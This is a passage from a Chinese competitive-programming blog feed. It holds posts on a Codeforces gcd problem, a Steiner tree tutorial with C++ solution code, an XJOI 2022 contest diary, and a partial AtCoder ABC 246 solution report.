&lt;p&gt;则如果在 $k-1(k &amp;gt; 0)$ 时成立，则在 $k$ 时成立。&lt;/p&gt;
&lt;p&gt;容易发现这么做复杂度和埃氏筛一样，$O(n \log \log n)$&lt;/p&gt;
&lt;h2&gt;3 例 Codeforces 1614 D Divan and Kostomuksha&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定数组 $a$，求任意重排后最大化 $\sum_{i=1}^n f(i)$，其中 $f(1) = a_1, f(i) = \gcd( f( i - 1 ), a_i )$。&lt;/p&gt;
&lt;p&gt;$n \leq 1e5$。两档，$a_i \leq 5 \times 10^6, a_i \leq 2 \times 10^7$。&lt;/p&gt;
&lt;h3&gt;做法&lt;/h3&gt;
&lt;p&gt;令 $p_i = \sum_j [ a_j \mod i = 0 ]$,
$g_i$ 表示当前构造序列中所有数字的 $\gcd = ki (k \in N)$ 时，能够得到的最大 $\sum_i f(i)$，
$m =\max{a}$。&lt;/p&gt;
&lt;p&gt;容易得到： $g_i = \max_{i|d} f_d + ( p_i - p_d ) \times i$&lt;/p&gt;
&lt;p&gt;很容易得到 $\sum_i \frac{m}{i} = O(n\log(n))$ 的做法，能过第一档，考虑优化。&lt;/p&gt;
&lt;p&gt;瓶颈在两处，求 $p_i$ 和 $g_i$。&lt;/p&gt;
&lt;p&gt;$p_i$ 直接使用 Dirichlet 后缀。&lt;/p&gt;
&lt;p&gt;注意到可以 $g_i$ 递推式可以改善：&lt;/p&gt;
&lt;p&gt;令 $s_i$ 表示为 $i$ 的质因子集合，则有 $g_i = \max_{j \in s_i} f_d + ( p_i - p_d ) \times i$，其中 $d = \frac{i}{j}$。&lt;/p&gt;
&lt;p&gt;容易发现可以直接套用埃氏筛。&lt;/p&gt;
&lt;p&gt;总复杂度 $O(n \log \log n)$。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * d2.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int N = 2e7 + 10;

int pool[N];
ll f[N];

std::vector&amp;lt;int&amp;gt; primes;
bool is_prime[N];

void pre() {
    memset( is_prime, true, sizeof(is_prime) );
    for( int i = 2; i &amp;lt; N; i ++ ) {
        if( is_prime[i] )
            primes.push_back(i);
        for( auto &amp;amp;x: primes ) {
            if( 1LL * x * i &amp;gt;= N )
                break;
            is_prime[ x * i ] = false;
            if( i % x == 0 )
                break;
        }
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;d2.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;d2.out&quot;, &quot;w&quot;, stdout );
#endif
    pre();

    cint n = read&amp;lt;int&amp;gt;();
    for( int i = 1; i &amp;lt;= n; i ++ )
        pool[ read&amp;lt;int&amp;gt;() ] ++;
    for( auto &amp;amp;p: primes ) {
        for( int j = ( N - 1 ) / p; j &amp;gt;= 1; j -- ) {
            pool[j] += pool[ j * p ];
        }
    }

    ll ans = 0;
    for( int i = N - 1; i &amp;gt;= 1; i -- ) {
        chk_Max( f[i], 1LL * pool[i] * i );
        for( auto &amp;amp;p: primes ) {
            if( 1LL * i * p &amp;gt;= N )
                break;
            cint nxt = i * p;
            chk_Max( f[i], f[nxt] + 1LL * ( pool[i] - pool[nxt] ) * i );
        }
        chk_Max( ans, f[i] );
    }

    printf( &quot;%lld\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>斯坦纳树入门</title><link>https://blog.woshiluo.com/posts/2022/06/%E6%96%AF%E5%9D%A6%E7%BA%B3%E6%A0%91%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/06/%E6%96%AF%E5%9D%A6%E7%BA%B3%E6%A0%91%E5%85%A5%E9%97%A8/</guid><pubDate>Thu, 23 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;这个东西看了半天没想明白为啥不是最小生成树，然后发现最小生成树实际上是最小斯坦那树的特殊形式
-- 最小生成树里的所有点都是关键点。&lt;/p&gt;
&lt;p&gt;最小斯坦那树是指在一个无向图中，求其最小生成网络使得其&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;包含所有关键点&lt;/li&gt;
&lt;li&gt;总权值在满足 1 的情况下最小。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 做法&lt;/h2&gt;
&lt;p&gt;考虑构造 DP $f_{i,S}$ 表示当前以 $i$ 为根，联通了集合 $S$ 内所有的关键点。&lt;/p&gt;
&lt;p&gt;则有：&lt;/p&gt;
&lt;p&gt;$$
\begin{align}
f_{i,S} &amp;amp;= \min_{ s1 \in S } { f_{i,s1} + f_{i, S \oplus s1} } \
f_{i,S} &amp;amp;= \min_{ \text{j 和 i 直接连接} } { f_{j,S} + e(i,j) } \
\end{align}
$$&lt;/p&gt;
&lt;p&gt;方程 1 显然成立并易于转移，考虑如果转移方程 2。&lt;/p&gt;
&lt;p&gt;注意到方程二实质性是三角形不等式，用最短路算法解决即可。&lt;/p&gt;
&lt;p&gt;复杂度大约是 $O(3^{k}n + 2^nm \log n)$（ $k$ 是关键点的数量）。前者是方程 1 的复杂度，后者是方程 2 的复杂度。&lt;/p&gt;
&lt;h2&gt;2 例 Luogu P4294 [WC2008]游览计划&lt;/h2&gt;
&lt;p&gt;非常显然的斯坦那树，但是需要注意这里不是边权而是点权。&lt;/p&gt;
&lt;p&gt;方案输出就是传统的记录上一次转移点。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * luogu.4294.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int N = 11;
const int INF = 0x3f3f3f3f;

int mark[ N * N ];
int a[N][N];
int f[ N * N ][ 1 &amp;lt;&amp;lt; N ];
std::pair&amp;lt;int, int&amp;gt; la[ N * N ][ 1 &amp;lt;&amp;lt; N ];

int dx[] = { +1, -1, 0, 0 };
int dy[] = { 0, 0, +1, -1 };

int full_pow( cint cur ) { return 1 &amp;lt;&amp;lt; cur; }
bool chk_pos( cint cur, cint pos ) { return cur &amp;amp; full_pow(pos); }

void dfs( cint cur, cint st ) {
    if( mark[cur] == 0 )
        mark[cur] = 1;

    cint nxt = la[cur][st].first;
    cint nst = la[cur][st].second;

    if( nst == 0 )
        return ;

    if( nxt == 0 ) {
        dfs( cur, nst );
        dfs( cur, st ^ nst );
    }
    else
        dfs( nxt, nst );
}

int main() {
#ifdef woshiluo
    freopen( &quot;luogu.4294.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;luogu.4294.out&quot;, &quot;w&quot;, stdout );
#endif
    memset( f, INF, sizeof(f) );

    cint n = read&amp;lt;int&amp;gt;();
    cint m = read&amp;lt;int&amp;gt;();

    std::vector&amp;lt;int&amp;gt; list;
    auto hash = [&amp;amp;m] ( cint i, cint j ) { return ( i - 1 ) * m + j; };
    auto get_i = [&amp;amp;m] ( cint cur ) { return cur / m - ( cur % m == 0 ) + 1; };
    auto get_j = [&amp;amp;m] ( cint cur ) { return ( cur % m == 0 )? m: ( cur % m ); };

    for( int i = 1; i &amp;lt;= n; i ++ ) {/*{{{*/
        for( int j = 1; j &amp;lt;= m; j ++ ) {
            a[i][j] = read&amp;lt;int&amp;gt;();
            f[ hash( i, j ) ][0] = 0;
            if( a[i][j] == 0 ) {
                mark[ hash( i, j ) ] = 2;
                f[ hash( i, j ) ][ full_pow( list.size() ) ] = 0;
                list.push_back( hash( i, j ) );
            }
        }
    }/*}}}*/

    cint k = list.size();
    for( int st = 0; st &amp;lt; full_pow(k); st ++ ) {/*{{{*/
        std::priority_queue&amp;lt;std::pair&amp;lt;int, int&amp;gt;&amp;gt; q;
        for( int u = 1; u &amp;lt;= n * m; u ++ ) {
            for( int s1 = st; s1; s1 = ( s1 - 1 ) &amp;amp; st ) {
                cint s2 = st ^ s1;
                if( s2 == 0 )
                    continue;
                if( f[u][s1] + f[u][s2] - a[ get_i(u) ][ get_j(u) ] &amp;lt; f[u][st] ) {
                    chk_Min( f[u][st], f[u][s1] + f[u][s2] - a[ get_i(u) ][ get_j(u) ] );
                    la[u][st] = std::make_pair( 0, Max( s1, s2 ) );
                }
            }
            if( f[u][st] != INF )
                q.push( std::make_pair( -f[u][st], u ) );
        }

        auto dij = [&amp;amp;] () {
            static bool vis[ N * N ];
            memset( vis, false, sizeof(vis) );
            while( !q.empty() ) {
                cint cur = q.top().second; q.pop();
                if( vis[cur] )
                    continue;
                vis[cur] = true;
                for( int i = 0; i &amp;lt; 4; i ++ ) {
                    cint nx = get_i(cur) + dx[i];
                    cint ny = get_j(cur) + dy[i];

                    if( nx &amp;lt; 1 || ny &amp;lt; 1 || nx &amp;gt; n || ny &amp;gt; m )
                        continue;

                    cint nxt = hash( nx, ny );
                    if( f[cur][st] + a[nx][ny] &amp;lt; f[nxt][st] ) {
                        f[nxt][st] = f[cur][st] + a[nx][ny];
                        la[nxt][st] = std::make_pair( cur, st );
                        q.push( std::make_pair( -f[nxt][st], nxt ) );
                    }
                }
            }
        };

        dij();
    }/*}}}*/

    int min = 0;
    cint full = full_pow(k) - 1;
    for( int i = 1; i &amp;lt;= n * m; i ++ ) {
        if( f[i][full] &amp;lt; f[min][full] )
            min = i;
    }

    printf( &quot;%d\n&quot;, f[min][full] );

    dfs( min, full );

    for( int i = 1; i &amp;lt;= n; i ++ ) {
        for( int j = 1; j &amp;lt;= m; j ++ ) {
            cint h = hash( i, j );
            if( mark[h] == 0 )
                printf( &quot;_&quot; );
            if( mark[h] == 1 )
                printf( &quot;o&quot; );
            if( mark[h] == 2 )
                printf( &quot;x&quot; );
        }
        printf( &quot;\n&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>XJOI 2022 游记</title><link>https://blog.woshiluo.com/posts/2022/04/xjoi-2022-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/xjoi-2022-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sat, 23 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;-1 序&lt;/h2&gt;
&lt;p&gt;寄啦，哈哈。&lt;/p&gt;
&lt;p&gt;今年是新疆维吾尔自治区第一次组织省选。&lt;/p&gt;
&lt;p&gt;今年有很多神奇的事情，比如特派员换了，新疆成立竞赛组委会了，办省选了，有 $\frac{1}{3}$ 了，有实体 NOI Linux。当然也不都是好事，疫情精准防控的代表上海已经被奥米克戎攻陷，全国疫情更是此起彼伏，见不到头。这种情况下信息学竞赛还能基本上「出淤泥而不染」，维持较为正常的赛季流畅已是相当不易。&lt;/p&gt;
&lt;p&gt;在疫情的限制下，XJOI 最终未能选择新疆大学作为考点，而是选择了一所高中 -- 乌鲁木齐市第一中学。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;0 Day 0&lt;/h2&gt;
&lt;p&gt;上午做真题模拟，联合省选 2021 Day 2。T1 一眼 $\log^2$ 然后写了一万年，一看表发现时间寄了，算了，反正是模拟赛。&lt;/p&gt;
&lt;p&gt;下午边摸边改题，还在该能特派员就来了，教练让我们打扫好机房就再也不让进了。过了一会儿，特派员给机房贴了封条，走了。&lt;/p&gt;
&lt;p&gt;一些趣闻则是我们对于 CCF 横幅的处理， 我们使用了一种最简单的办法，拿纸糊！&lt;/p&gt;
&lt;h2&gt;1 Day 1&lt;/h2&gt;
&lt;p&gt;起床吃饭洗漱打理物品一气呵成。&lt;/p&gt;
&lt;p&gt;冲到学校发现已经 0805 了，但是门口人挺多。&lt;/p&gt;
&lt;p&gt;和袁纳海张雯越进行了友好的交涉，进了考场后寒暄了一阵，林乐天和杜宇丰就来了。&lt;/p&gt;
&lt;p&gt;老一辈的人都齐了，大家还没能充分交流，考场就开始放人了。&lt;/p&gt;
&lt;p&gt;进去问 NOI Linux 怎么办 -- 「后面单独拷题」，行吧。&lt;/p&gt;
&lt;p&gt;题目到了，开题！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 开幕雷击。真出模拟啊 wdnmd。大概看了一下发现复杂度应该不是重点，所以就直接上手指针实现。经过粗略分析发现指针的空间还是无法估计，于是就用 &lt;code&gt;vector&lt;/code&gt; 了。写完决定先看后面的题，然后再改 HashMap。&lt;/li&gt;
&lt;li&gt;T2 简单推了一下，考虑针对区间做 DP，发现根本没写过这种东西，10pts 跑路告辞。&lt;/li&gt;
&lt;li&gt;T3 不懂出题人为什么这么喜欢字符串。先来一个 HashMap，然后 20pts 随手写一下。开始写 4pts 的暴力。然后调了 1h。&lt;/li&gt;
&lt;li&gt;回头来看表，发现没时间上 T1 HashMap 和剩下的 20 pts 了，寄。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;考完问一圈人均 T1 觉得自己能过，但是没人觉得自己能过（乐）。意料之中。&lt;/p&gt;
&lt;p&gt;下午回家直接开睡。起来把这周的 &lt;a href=&quot;https://codle.ouuan.moe/&quot;&gt;https://codle.ouuan.moe/&lt;/a&gt; 然后就睡了。&lt;/p&gt;
&lt;h2&gt;2 Day 2&lt;/h2&gt;
&lt;p&gt;起床，然后发现自己跑肚了。&lt;/p&gt;
&lt;p&gt;哈哈，什么传统艺能。&lt;/p&gt;
&lt;p&gt;冲到学校，又问了 Linux 怎么办，回答还是一模一样。&lt;/p&gt;
&lt;p&gt;开题！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 很容易想出相当针对较小质数做状压 DP ，较大质数独立状压然后合并两者的版本，然后发现被卡的见不到人。
考虑优化，注意到计算瓶颈在于合并，注意到是一个典型的 FWT 形式。
好，FWT 怎么写来着。注意到在按位或运算的情况下 FWT 干的事情和 SOS DP 是一样的，强行拿 SOS DP 糊了一个上去。&lt;/li&gt;
&lt;li&gt;好了没有时间了，T3 $O(n!)$ 跑路！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出来一问发现没人 T1 写 FWT 但是 T2 有一车暴力分。血亏。&lt;/p&gt;
&lt;p&gt;下午随便找了个民间数据交了下，发现自己 T1 挂了。调了半天发现质数没有去重，药丸。&lt;/p&gt;
&lt;h2&gt;3 结&lt;/h2&gt;
&lt;p&gt;CCF 数据出了，没恶心 DayT1，没卡 Day2T1 重复数据。但是我 Day2T1 还是被卡常了。&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item><item><title>Atcoder Beginner Contest 246 解题报告</title><link>https://blog.woshiluo.com/posts/2022/04/atcoder-beginner-contest-246-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/atcoder-beginner-contest-246-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Sat, 09 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Four Points&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定矩形的三个顶点，求其剩下的顶点。&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;签到&lt;/p&gt;
&lt;h2&gt;B Get Closer&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定直线过点 $(0,0)$, $(a,b)$，求从 $(0,0)$ 出发，方向朝右，长度为一的线段的右端点。&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;一开始是二分硬做的，然后被卡精度了。&lt;/p&gt;
&lt;p&gt;求出两点距离，对 $a,b$ 分别除于这个这个距离即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C Coupon&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定序列 $a$，数字 $x,m$。&lt;/p&gt;
&lt;p&gt;可以将每个数字改为 $max(0,a_i-b_ix)$。&lt;/p&gt;
&lt;p&gt;求在 $\sum b \leq m$ 的情况下，最小的 $\sum a$&lt;/p&gt;
&lt;p&gt;$1 \leq a_i,x,m \leq 10^9$&lt;/p&gt;
&lt;p&gt;$1 \leq n \leq 2 \times 10^5$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;简单贪心。&lt;/p&gt;
&lt;p&gt;第一轮使用 $x$ 的时候使得 $a_i = a_i \bmod x$。&lt;/p&gt;
&lt;p&gt;第二轮排序选就行。&lt;/p&gt;
&lt;h2&gt;D 2-variable Function&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定 $n$，求最小 $x$ 满足 $x \geq n, \exists a,b, x=a^3+b^3+a^2b+b^2a$&lt;/p&gt;
&lt;p&gt;$0 \leq n \leq 10^{18}$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;注意到对于 $\forall i_1,i_2,i_1 &amp;lt; i_2$，令 $g(i)$ 表示使得 $f(i,j) \geq n$ 最大的 $j$，则有 $g(i_1)&amp;gt;g(i_2)$。&lt;/p&gt;
&lt;p&gt;同时注意到，对于 $n \leq 10^{18}$，有 $i,j \leq 10^6$&lt;/p&gt;
&lt;p&gt;双指针即可。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * d.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

int main() {
    ll n = read&amp;lt;ll&amp;gt;();
    ll res = 0;
    for( ; pow( res, 3 ) &amp;lt; n; res ++ );
    const ll max = pow( res, 3 );
    if( max == n ) {
        printf( &quot;%lld\n&quot;, max );
        return 0;
    }
    ll ans = max;
    ll p2 = (int)(1e6);
    for( ll p1 = 0; p1 &amp;lt;= (int)(1e6); p1 ++ ) {
        auto f = []( const ll p1, const ll p2 ) { return pow( p1, 3 ) + pow( p2, 3 ) + p1 * p1 * p2 + p1 * p2 * p2; };
        while( f( p1, p2 ) &amp;gt;= n &amp;amp;&amp;amp; p2 &amp;gt; 0 ) {
            chk_Min( ans, f( p1, p2 ) );
            p2 --;
        }
    }
    printf( &quot;%lld\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Bishop 2&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定网格图，每个格子要么为空要么有障碍。&lt;/p&gt;
&lt;p&gt;给定起点终点，棋子每轮可以向左上，左下，右上，右下四个方向移动任意多格，但是路径上不能有障碍。&lt;/p&gt;
&lt;p&gt;求最小轮树，能从起点到重点。&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;搜索题真的烦啊。&lt;/p&gt;
&lt;p&gt;暴力扩展，如果遇到 $dis$ 不比当前劣，或者有障碍的时候，就不在此方向扩展。&lt;/p&gt;
&lt;p&gt;这样结点被访问的次数不超过 $O(1)$&lt;/p&gt;
&lt;p&gt;总复杂度 $O(n^2)$&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;h2&gt;F typewriter&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定 $n$ 个字符集，由每个字符集可以组合出的，长度为 $L$ 的字符串的集合为 $b_i$。&lt;/p&gt;
&lt;p&gt;求所有 $b_i$ 的并的集合大小。&lt;/p&gt;
&lt;p&gt;$1 \leq n \leq 18$&lt;/p&gt;
&lt;p&gt;$1 \leq L \leq 10^9$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;第一想法是对着整个字符集容斥，然后发现复杂度起飞。&lt;/p&gt;
&lt;p&gt;直接对这 $n$ 个字符集容斥即可。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * f.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;bitset&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int mod = 998244353;

struct ModInt {/*{{{*/
    int cur;
    ModInt( ll _cur = 0 ) { cur = ( ( ( _cur % mod ) + mod ) % mod ); }

    inline ModInt operator+ ( const ModInt &amp;amp;b ) const { return ( cur + b.cur ) % mod; }
    inline ModInt operator- ( const ModInt &amp;amp;b ) const { return ( ( ( cur - b.cur ) % mod ) + mod ) % mod; }
    inline ModInt operator* ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * b.cur ) % mod; }
    inline ModInt operator/ ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * pow( b, mod - 2 ).cur ) % mod; }

    inline void operator+= ( const ModInt &amp;amp;b ) { (*this) = (*this) + b; }
    inline void operator-= ( const ModInt &amp;amp;b ) { (*this) = (*this) - b; }
    inline void operator*= ( const ModInt &amp;amp;b ) { (*this) = (*this) * b; }
    inline void operator/= ( const ModInt &amp;amp;b ) { (*this) = (*this) / b; }

    inline void output( const char end = &apos;\n&apos; ) { printf( &quot;%d%c&quot;, cur, end ); }
};/*}}}*/

int a[20];

int full_pow( const int cur ) { return 1 &amp;lt;&amp;lt; cur; }
int chk_pos( const int cur, const int p ) { return cur &amp;amp; full_pow(p); }
int bitlen( const int cur ) { return __builtin_popcount(cur); }

int main() {
#ifdef woshiluo
    freopen( &quot;f.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;f.out&quot;, &quot;w&quot;, stdout );
#endif
    int n, l;
    ModInt ans = 0;
    n = read&amp;lt;int&amp;gt;(); l = read&amp;lt;int&amp;gt;();
    for( int o = 0; o &amp;lt; n; o ++ ) {
        static char str[1024];
        scanf( &quot;%s&quot;, str + 1 );
        int len = strlen( str + 1 );
        int &amp;amp;mask = a[o];
        for( int i = 1; i &amp;lt;= len; i ++ ) {
            mask |= ( 1 &amp;lt;&amp;lt; ( str[i] - &apos;a&apos; ) );
        }
    }

    for( int st = 1; st &amp;lt; full_pow(n); st ++ ) {
        int mask = full_pow(26) - 1;
        for( int i = 0; i &amp;lt; n; i ++ ) {
            if( chk_pos( st, i ) )
                mask &amp;amp;= a[i];
        }
        ans += pow( (ModInt)bitlen(mask), l ) * ( ( bitlen(st) &amp;amp; 1 )? 1: -1 );
    }
    ( ans ).output();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;G Game on Tree 3&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定一棵树，根为 $1$，根之外的结点都有点权 $a_i$。&lt;/p&gt;
&lt;p&gt;现在有两人，Alice 和 Bob，初始棋子在根上。&lt;/p&gt;
&lt;p&gt;每轮操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A 选择一个非根结点使其点权为 $0$；&lt;/li&gt;
&lt;li&gt;B 将棋子移动到一个当前棋子所在结点的直接子结点上。&lt;/li&gt;
&lt;li&gt;B 可以选择结束游戏。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;游戏结束时，B 的得分为当前棋子所在点的点权。&lt;/p&gt;
&lt;p&gt;A 的目标是最小化得分，B 的目标是最大化得分。&lt;/p&gt;
&lt;p&gt;假设双方使用最优方案，求最大得分。&lt;/p&gt;
&lt;p&gt;$1 \leq n \leq 2 \times 10^5$&lt;/p&gt;
&lt;p&gt;$1 \leq a_i \leq 10^9$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
